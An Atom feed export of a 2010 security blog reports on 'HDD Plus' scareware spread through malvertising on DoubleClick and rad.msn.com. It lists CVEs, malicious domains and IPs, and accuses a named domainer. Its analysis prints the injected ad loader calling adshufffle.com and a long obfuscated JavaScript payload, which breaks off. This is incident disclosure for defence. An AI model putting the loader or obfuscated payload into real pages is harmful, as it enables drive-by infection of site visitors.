VB&lt;/a&gt;, and &lt;a href="http://virusscan.jotti.org/en/scanresult/ecd1160e3955c69659764ab9ceb3894ff04b4a19"&gt;9/19 on jotti&lt;/a&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TQw41P3LQXI/AAAAAAAACKQ/42zd1Pm4aZM/s1600/systemutiliteswebsite.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width:748px;" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TQw41P3LQXI/AAAAAAAACKQ/42zd1Pm4aZM/s1600/systemutiliteswebsite.png" alt="" id="BLOGGER_PHOTO_ID_5551874928083157362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TQw3xjMJ8pI/AAAAAAAACKI/cfj6w8AY_PM/s1600/systemutilites.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width:748px;" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TQw3xjMJ8pI/AAAAAAAACKI/cfj6w8AY_PM/s1600/systemutilites.png" alt="" id="BLOGGER_PHOTO_ID_5551873765040321170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We sent Slevin an email and subsequently talked to him on phone. Initially he denied knowing about defragstore.com and said it wasn't his domain. He later reverted this claim and said he is related to it, but he is only a domainer who sells domains for some money, and would be willing to provide us with contacts into those behind the HDD Plus / Tools and SystemUtilites software. He did provide us a name and email.&lt;br /&gt;&lt;br /&gt;He also denied all parties (website development, hosting, call centers, etc) who have pointed figers to him; yet these parties gave us his name and contacts without us first mentioning anything.&lt;br /&gt;&lt;br /&gt;We don't know what for parts of this "HDD Plus" operations Slevin is responsible, but we're sure he's involved and chose to tell little of what he knows.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-3960560512750569190?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/3960560512750569190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2010/12/about-hdd-plus-spreading-also-through.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3960560512750569190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3960560512750569190'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2010/12/about-hdd-plus-spreading-also-through.html' title='About HDD Plus spreading also through OpenX vulnerabilities, and a guy behind all this'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_hELDi5B8zOI/TQwF1kAlypI/AAAAAAAACJg/6My1Sky6OUw/s72-c/HDD_Tools_OpenX_Hack.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-792164885857785887</id><published>2010-12-10T11:49:00.000-08:00</published><updated>2011-12-05T00:00:22.603-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>"HDD Plus" malware spread through major ad networks, using malvertising and drive-by download</title><content type='html'>(Credits: Wayne Huang, Caleb Sima, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLgAzik5fI/AAAAAAAACI4/weE2v8WJxu4/s1600/HDD_PLUS_1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px;" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLgAzik5fI/AAAAAAAACI4/weE2v8WJxu4/s1600/HDD_PLUS_1.png" alt="" id="BLOGGER_PHOTO_ID_5549243995313726962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Over the past few days, we saw the quick spread of HDD Plus--a malware that (somehow) gets installed on victim computers, and holds the computer hostage by displaying threatening message (that the system is failing), asking you to purchase a license so HDD Plus will fix the problems.&lt;br /&gt;&lt;br /&gt;Information on HDD Plus can be found &lt;a href="http://www.bleepingcomputer.com/virus-removal/remove-hdd-plus"&gt;here&lt;/a&gt; and &lt;a href="http://www.myantispyware.com/2010/12/09/how-to-remove-hdd-plus-and-hddplus/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;We've realized that one of the means for HDD Plus to spread, was via drive-by download malvertising through (at least) DoubleClick and rad.msn.com, which are both the world's largest ad serving platforms.&lt;br /&gt;&lt;br /&gt;This is detailed technical report.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Behavior:&lt;/b&gt; Users visit websites that incorporate banner ads from DoubleClick or rad.msn.com, the malicious javascript is served from ADShufffle.com (notice the three f's), starts a drive-by download process and if successful, HDD Plus and other malware are installed into the victim's machine, without having the need to trick the victim into doing anything or clicking on anything. Simply visiting the page infects the visitors.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Known sites affected:&lt;/b&gt; Sites that incorporate DoubleClick or rad.msn.com banners, including for example &lt;b&gt;Scout.com&lt;/b&gt; (using DoubleClick), &lt;b&gt;realestate.msn.com&lt;/b&gt;, &lt;b&gt;msnbc.com (using both)&lt;/b&gt;, and &lt;b&gt;mail.live.com&lt;/b&gt;. &lt;b&gt;We'd like to note here it's very possible that multiple exchanges, besides those listed here, have been serving the fake ADShufffle's ads.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Important dates:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dec 2nd: Registration of the associated malicious domains&lt;br /&gt;&lt;br /&gt;Dec 3rd: HackAlert first detected this drive-by download being served by DoubleClick (2010-12-04T02:18:50+00:00GMT). We were not aware at this time (HackAlert flags too many URLs per day of live Web malware)&lt;br /&gt;&lt;br /&gt;Dec 8th: We were requested by &lt;a href="https://blogs.verisign.com/ssl-blog/2010/08/network_solutions_malcode_widg.php"&gt;our partner, Symantec-VeriSign&lt;/a&gt;, to conduct an analysis one some of the affected websites and justify HackAlert's decision to take the VeriSign Trust Seal off from these websites. Some of the websites called into Symantec's customer service line to ask for more information. HackAlert's flaggings were "on-and-off" which raised concerns that we had bugs with HackAlert. Symantec-VeriSign scans all of their Trust Seal customers for web malware and is very serious about the scan quality. They've always been quite strict with our scan quality (accuracy and coverage) and we've been working hard to keep them as our satisfied partner.&lt;br /&gt;&lt;br /&gt;On the same day we verified that it was the banner ads from DoubleClick, and replied Symantec-VeriSign. On the same day, believing it was ADShuffle that was providing the malicious banner ad to DoubleClick, we notified Andrea McKee, President to ADShuffle. She replied very quickly to ask for detailed info, which we provided. She quickly pointed out that it was with three f's and so not her company. She said that they really appreciate the detailed info, and that she would quickly inform DoubleClick.&lt;br /&gt;&lt;br /&gt;Dec 9th:  We reached out to DoubleClick and in less than a few hours time they arranged a meeting with a group of their experts on anti-malvertising and incidence response. We were very surprised and impressed with the speed that DoubleClick acted. We provided details, and DoubleClick said they were already on top of the issue.&lt;br /&gt;&lt;br /&gt;At the same time, our CEO Caleb Sima received a private email indicating that mail.live.msn, together with other big websites, were serving drive-by downloads via malvertising. We started to investigate other ad exchanges, because it was apparent that &lt;b&gt;ADShufffle.com was able to trick multiple ad exchanges into serving their malicious javascript&lt;/b&gt;. We started to investigate this.&lt;br /&gt;&lt;br /&gt;Dec 10th: Private sources provided detailed info to us, and we confirmed ADShufffle.com malvertising through rad.msn.com.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exploits used:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Initially with DoubleClick:&lt;br /&gt;1) Internet Explorer iepeers (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806"&gt;CVE-2010-0806&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Later with DoubleClick and rad.msn.com:&lt;br /&gt;2) JDT: Java Web Start Arbitrary command-line injection (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0886"&gt;CVE-2010-0886&lt;/a&gt;)&lt;br /&gt;3) Adobe Reader and Adobe Acrobat 9 GetIcon (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt;)&lt;br /&gt;4) Microsoft MDAC RDS.Dataspace ActiveX (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt;)&lt;br /&gt;5) Adobe Reader and Acrobat 9.x Doc.media.newPlayer (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324"&gt;&lt;/a&gt;)&lt;br /&gt;6) Adobe Acrobat and Reader util.printf &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-2992"&gt;(CVE-2008-2992)&lt;/a&gt;&lt;br /&gt;7) Adobe Reader GetMailInfo (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-5659"&gt;CVE-2007-5659&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Malware installed:&lt;/b&gt;&lt;br /&gt;Over the past week, ADShufffle kept on changing the malware. Besides HDD Plus, other types of malware, such as backdoors, have been served. Later in the article we will provide links to our observed binaries.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exploit packs used:&lt;/b&gt;&lt;br /&gt;Primarily a modified version of Eleonore. Neosploit was also used. With neosploit, malicious binaries are obfuscated on-the-fly before being served.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Significant facts:&lt;/b&gt;&lt;br /&gt;1. Drive-by download malvertising, visitors infected without having to click&lt;br /&gt;2. Being served by the world's largest ad platforms. Large websites have been affected.&lt;br /&gt;3. Exploits were very well obfuscated, manually.&lt;br /&gt;4. Initial detection rate by antivirus vendors were very low.&lt;br /&gt;5. At the time of writing, the ADShufffle.com group is still actively serving drive-by downloads via their registered domains. In fact, today they have registered yet more domains.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Associated domains and IPs&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;adshufffle.com (63.247.64.174) (serving javascripts that generates iframes pointing to exploit servers)&lt;br /&gt;acerdse.com, blindry.com, careepi.com, colemuns.com (91.213.217.194) (serving exploits and malware)&lt;br /&gt;ssmmbb.com (91.213.217.193) (serving Java jar exploit)&lt;br /&gt;feudari.com (91.213.217.192) (serving pdf exploit)&lt;br /&gt;searchjewel.org (91.200.242.17) (serving malware)&lt;br /&gt;195.5.161.10 (serving Java jar exploit)&lt;br /&gt;thjlnqbtgdw.com, pbcplifpgdw.com (174.132.254.18) (serving exploits and malware)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Attack details&lt;/b&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLzz0AotPI/AAAAAAAACJA/OGd_y4Z1qwI/s1600/doubleclick_hdd_plus_adshufffle_illu.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px;" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLzz0AotPI/AAAAAAAACJA/OGd_y4Z1qwI/s1600/doubleclick_hdd_plus_adshufffle_illu.png" alt="" id="BLOGGER_PHOTO_ID_5549265762334061810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Illustration 1--DoubleClick ADShufffle drive-by download malvertising&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLz0FY7NgI/AAAAAAAACJI/KsAHLnLbAB0/s1600/rad_msn_com_hdd_plus_adshufffle_illu.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px;" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TQLz0FY7NgI/AAAAAAAACJI/KsAHLnLbAB0/s1600/rad_msn_com_hdd_plus_adshufffle_illu.png" alt="" id="BLOGGER_PHOTO_ID_5549265766999340546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Illustration 2--rad.msn.com ADShufffle drive-by download malvertising&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Part 1--DoubleClick case study&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We'll walk through DoubleClick's case first. Upon visiting a website working with DoubleClick, for example, Scout.com, and within the HTML served, there would be an DoubleClick ad tag for a 728x90 banner ad:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;SCRIPT LANGUAGE="JavaScript"&amp;gt;&lt;br /&gt;&amp;lt;!-- hide from non-JavaScript browsers&lt;br /&gt;document.writeln('&amp;lt;SCRIPT LANGUAGE="JavaScript" SRC="http://ad.doubleclick.net/adj/organicgardening/home;kw=;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=' + ord + '?" type="text/javascript"&amp;gt;');&lt;br /&gt;document.writeln('&amp;lt;/SCRIPT&amp;gt;');&lt;br /&gt;// end hide from browsers --&amp;gt;&lt;br /&gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;&amp;lt;noscript&amp;gt;&amp;lt;a href="http://ad.doubleclick.net/jump/organicgardening/home;kw=;slot=728x90.1;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" target="_blank"&amp;gt;&amp;lt;img src="http://ad.doubleclick.net/ad/organicgardening/home;topic=home;sbtpc=home;tile=1;sz=728x90;ord=123456?" width="728" height="90" border="0" alt="" target="_blank"&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/noscript&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Trying to render this, the browser visits ad.doubleclick.net, and gets the following:&lt;br /&gt;&lt;pre class="brush: js;"&gt;document.write('&amp;lt;script type=\"text/javascript\" src=\"http://this.content.served.by.adshufffle.com/p/kl/46/799/r/12/4/8/ast0k3n/cj_K_lW0d4_D7mmLupb1TWfhr91mfhH0/view.js/?sid=1953243&amp;amp;lpd=${4020322}&amp;amp;ASTPCT=${http://ad.doubleclick.net/click%3Bh%3Dv8/3a6a/3/0/%2a/w%3B233305186%3B0-0%3B0%3B12910146%3B3454-728/90%3B39673254/39691041/1%3B%3B%7Eaopt%3D2/1/7d/1%3B%7Esscs%3D%3f}\"&amp;gt;&amp;lt;\/script&amp;gt;');document.write('\n&amp;lt;!-- Begin Interstitial Ad --&amp;gt;');&lt;br /&gt;//PopUnder Power&lt;br /&gt;//Credit notice must stay intact for use.&lt;br /&gt;... script continues...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Getting the javascript from adshufffle.com yields:&lt;br /&gt;&lt;pre class="brush: js;"&gt;var latency='';&lt;br /&gt;var reno1='%78%53%4C%';&lt;br /&gt;var reno2='78%53%4C%78%53%4C%53';&lt;br /&gt;var reno3='%25%4C%4A%63%4C%43%25%4C%57%25';&lt;br /&gt;var reno4='%4C%6D%63%';&lt;br /&gt;var reno5='4C%48';&lt;br /&gt;var reno6='%32%4';&lt;br /&gt;var reno7='C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43';&lt;br /&gt;var reno8='%32%4C%5F%25%4C%4F%6';&lt;br /&gt;var reno9='3%4C%6D%63%4C%25%25%4C%53%63%4C%25%25%4C%42%63%4C%';&lt;br /&gt;var reno10='25%57%4C%48%32%4C%70%32%4C%25%';&lt;br /&gt;var reno11='57%4C%5F%32%4C%25%32%4C%48%32%4C%42%32%4';&lt;br /&gt;var reno12='C%50%32%4C%25%57%4C%';&lt;br /&gt;var reno13='32%32%4C%53%25%4C%25';&lt;br /&gt;var reno14='%25%4C%53%63%4C%25%25%4C%42%63%4C%48%32%4C%63%32%4';&lt;br /&gt;var reno15='C%50%32%4C%53%57%4C%63%57%4C%35%32%4C%53%25%4C%25%';&lt;br /&gt;var reno16='25%4C%5F%32%4C%6D%32%4C%25%25%4C%42%63%4C%57%32%4C%6D%32%4C%43%32%4C%4F%32%4C%4F';&lt;br /&gt;var reno17='%32%4C%5F%32%4C%25%5';&lt;br /&gt;var reno18='7%4C%63%32%4C%63%57%4C%53%25%4C%25%25%4C%53%63%4C%';&lt;br /&gt;var reno19='43%63%4C%25%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32';&lt;br /&gt;var reno20='%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%25%25%4C%3';&lt;br /&gt;var reno21='5%63%4C%25%63%4C%57%63%4C%25%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%25%25%4C%50%63%4C%43%63%4C%48%63%4C%50%63%4C%32%63%4C%53%63%4C%70%63%4C%50%63%4C%70%70%4C%63%63%4C%48%25%4C%48%32%4C%70%32%4C%5F%32%4C%6D%32%4C%32%70%4C%63%63%4C%48%25%4C%25%32%4C%32%70%4C%25%63%4C%48%25%4C%63%57%4C%70%32%4C%25%57%4C%50%32%4C%63%70%4C%70%57%4C%32%32%4C%43%32%4C%57%70%4C%32%70%4C%25%63%4C%48%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%70%57%4C%48%32%4C%57%32%4C%25%57%4C%50%32%4C%70%57%4C%6D%25%4C%57%57%4C%57%57%4C%57%57%4C%32%70%4C%25%63%4C%48%25%4C%32%70%4C%25%63%4C%48%25%4C%50%70%4C%63%63%4C%48%25%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%5F%63%4C%42%63%4C%63%57%4C%63%32%4C%63%57%4C%63%57%4C%6D%57%4C%4A%63%4C%50%63%4C%5F%25%4C%70%32%4C%57%63%4C%5F%25%4C%50%63%4C%5F%25%4C%25%63%4C%42%63%4C%70%57%4C%53%57%4C%5F%32%4C%50%32%4C%6D%57%4C%4A%63%4C%4A%63%4C%50%63%4C%5F%25%4C%50%63%4C%70%63%4C%53%63%4C%50%63%4C%43%63%4C%32%63%4C%43%63%4C%63%63%4C%5F%25%4C%70%63%4C%48%63%4C%25%63%4C%63%63%4C%57%63%4C%32%63%4C%43%63%4C%63%63%4C%4A%63%4C%53%63%4C%43%63%4C%5F%25%4C%35%63%4C%25%63%4C%57%63%4C%42%25%4C%70%63%4C%48%63%4C%70%63%4C%63%63%4C%4A%63%4C%32%63%4C%70%63%4C%50%63%4C%53%63%4C%50%63%4C%43%63%4C%25%63%4C%50%63%4C%4A%63%4C%53%63%4C%4A%63%4C%53%63%4C%42%25%4C%53%63%4C%4A%63%4C%32%63%4C%35%63%4C%50%63%4C%48%63%4C%53%63%4C%63%63%4C%63%63%4C%63%63%4C%25%63%4C%4A%63%4C%57%57%4C%5F%25%4C%78%25%4C%5F%25%4C%53%63%4C%5F%25%4C%63%63%4C%5F%25%4C%50%32%4C%32%63%4C%50%32%4C%63%63%4C%5F%25%4C%35%63%4C%32%57%4C%42%63%4C%35%32%4C%4A%63%4C%4A%32%4C%63%32%4C%43%32%4C%4F%32%4C%63%32%4C%5F%25%4C%70%57%4C%48%32%4C%6D%32%4C%6D%25%4C%4A%32%4C%63%32%4C%43%32%4C%4F%32%4C%63%32%4C%48%32%4C%4F%32%4C%25%32%4C%48%57%4C%5F%32%4C%70%32%4C%6D%25%4C%70%32%4C%50%32%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%42%63%4C%4F%32%4C%25%57%4C%48%57%4C%32%25%4C%53%63%4C%43%63%4C%42%63%4C%35%32%4C%32%25%4C%35%63%4C%25%63%4C%57%63%4C%42%63%4C%57%57%4C%32%25%4C%32%32%4C%57%57%4C%63%57%4C%6D%25%4C%53%63%4C%43%63%4C%35%57%4C%35%63%4C%25%63%4C%57%63%4C%5F%48%4C%70%32%4C%25%57%4C%50%32%4C%63%70%4C%70%57%4C%32%32%4C%43%32%4C%57%70%4C%43%57%4C%50%32%4C%70%32%4C%43%32%4C%4F%32%4C%5F%32%4C%35%70%4C%53%63%4C%50%63%4C%5F%25%4C%70%32%4C%25%57%4C%50%32%4C%63%32%4C%25%57%4C%32%32%4C%43%32%4C%57%32%4C%5F%48%4C%70%57%4C%48%32%4C%57%32%4C%25%57%4C%50%32%4C%70%57%4C%5F%25%4C%48%32%4C%63%32%4C%25%57%4C%48%32%4C%42%32%4C%42%32%4C%5F%32%4C%63%70%4C%57%32%4C%43%32%4C%25%70%4C%50%32%4C%5F%25%4C%25%32%4C%70%32%4C%25%32%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%25%57%4C%48%32%4C%70%32%4C%50%32%4C%5F%32%4C%4F%32%4C%42%25%4C%35%32%4C%63%57%4C%50%32%4C%4F%32%4C%32%32%4C%5F%25%4C%63%57%4C%25%57%4C%48%32%4C%6D%32%4C%6D%32%4C%50%32%4C%25%32%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%25%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%4F%63%4C%57%25%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%78%53%4C%42%57%4C%78%53%4C%78%53%4C%78%53%4C%4A%63%4C%43%25%4C%43%25%4C%25%25%4C%48%70%4C%63%63%4C%48%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%5F%25%4C%63%70%4C%63%63%4C%48%25%4C%48%70%4C%63%63%4C%48%25%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%57%25%4C%4A%63%4C%6D%32%4C%48%32%4C%70%32%4C%70%32%4C%43%32%4C%35%32%4C%78%63%4C%43%57%4C%70%57%4C%43%32%4C%4F%32%4C%43%32%4C%25%32%4C%43%32%4C%63%57%4C%43%32%4C%32%57%4C%57%25%4C%42%63%4C%48%32%4C%4F%32%4C%43%57%4C%70%57%4C%63%57%4C%53%25%4C%57%25%4C%63%63%4C%70%63%4C%25%63%4C%63%63%4C%48%63%4C%43%63%4C%50%63%4C%42%63%4C%70%32%4C%43%32%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%48%32%4C%5F%48%4C%63%57%4C%78%32%4C%5F%48%4C%63%57%4C%70%57%4C%50%32%4C%70%57%4C%63%57%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%48%32%4C%4F%32%4C%32%32%4C%32%32%4C%32%32%4C%48%57%4C%35%32%4C%63%57%4C%70%32%4C%50%32%4C%6D%25%4C%43%57%4C%25%32%4C%6D%25%4C%70%32%4C%48%32%4C%32%57%4C%25%57%4C%48%32%4C%63%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%70%57%4C%6D%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%43%32%4C%35%32%4C%70%57%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%57%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%63%70%4C%63%63%4C%48%25%4C%25%25%4C%35%25%4C%48%32%4C%53%57%4C%50%32%4C%63%32%4C%63%57%4C%48%32%4C%6D%32%4C%48%57%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%78%53%4C%53%25%4C%4A%63%4C%43%25%4C%43%25%4C%25%25%4C%48%70%4C%63%63%4C%48%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%5F%25%4C%63%70%4C%63%63%4C%48%25%4C%48%70%4C%63%63%4C%48%25%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%57%25%4C%50%63%4C%57%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%57%25%4C%4A%63%4C%6D%32%4C%48%32%4C%70%32%4C%70%32%4C%43%32%4C%35%32%4C%78%63%4C%43%57%4C%70%57%4C%43%32%4C%4F%32%4C%43%32%4C%25%32%4C%43%32%4C%63%57%4C%43%32%4C%32%57%4C%57%25%4C%42%63%4C%48%32%4C%4F%32%4C%43%57%4C%70%57%4C%63%57%4C%53%25%4C%57%25%4C%70%57%4C%5F%32%4C%5F%32%4C%25%57%4C%42%63%4C%48%57%4C%32%25%4C%70%32%4C%32%63%4C%32%32%4C%50%63%4C%50%63%4C%35%63%4C%57%63%4C%48%63%4C%70%63%4C%57%63%4C%43%63%4C%63%63%4C%70%32%4C%57%63%4C%70%32%4C%43%63%4C%35%63%4C%63%32%4C%63%63%4C%25%32%4C%70%32%4C%63%32%4C%63%63%4C%48%63%4C%48%63%4C%53%63%4C%70%32%4C%63%63%4C%43%63%4C%48%32%4C%25%63%4C%43%63%4C%42%63%4C%43%57%4C%48%32%4C%4A%32%4C%5F%63%4C%53%57%4C%35%32%4C%53%57%4C%6D%25%4C%57%57%4C%5F%32%4C%35%32%4C%63%57%4C%5F%25%4C%57%32%4C%48%32%4C%63%57%4C%53%57%4C%48%57%4C%53%57%4C%5F%25%4C%42%32%4C%5F%32%4C%63%32%4C%6D%25%4C%63%57%4C%6D%32%4C%48%57%4C%42%32%4C%48%32%4C%4F%32%4C%5F%32%4C%63%32%4C%5F%25%4C%5F%25%4C%78%63%4C%53%57%4C%70%57%4C%70%57%4C%35%32%4C%57%25%4C%42%63%4C%63%32%4C%25%57%4C%63%57%4C%53%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%63%70%4C%63%63%4C%48%25%4C%25%25%4C%35%25%4C%48%32%4C%53%57%4C%50%32%4C%63%32%4C%63%57%4C%48%32%4C%6D%32%4C%48%57%4C%35%25%4C%48%32%4C%70%57%4C%43%32%4C%25%57%4C%57%57%4C%6D%25%4C%70%57%4C%6D%32%4C%48%32%4C%42%32%4C%48%57%4C%63%32%4C%5F%32%4C%70%32%4C%78%53%4C%43%53%4C%43%53%4C%78%53%4C%78%53%4C%4A%57%4C%53%25%4C%53%25%4C%48%32%4C%63%57%4C%4F%32%4C%48%32%4C%53%25%4C%53%25%4C%42%57%4C%78%53%4C%4A%63%4C%43%25%4C%43%25%4C%25%25%4C%48%70%4C%63%63%4C%48%25%4C%48%32%4C%42%32%4C%50%32%4C%25%57%4C%32%32%4C%43%32%4C%5F%25%4C%63%70%4C%63%63%4C%48%25%4C%48%70%4C%63%63%4C%48%25%4C%53%25%4C%53%25%4C%57%25%4C%53%63%4C%57%25%4C%42%63%4C%70%57%4C%35%32%4C%57%32%4C%43%32%4C%48%32%4C%35%32%4C%53%25%4C%57%25%4C%53%63%4C%57%25%4C%42%63%4C%35%32%4C%70%57%4C%70%32%4C%43%32%4C%57%57%4C%53%25%4C%57%25%4C%4A%63%4C%6D%32%4C%48%32%4C%70%32%4C%70%32%4C%43%32%4C%35%32%4C%78%63%4C%43%57%4C%70%57%4C%43%32%4C%4F%32%4C%43%32%4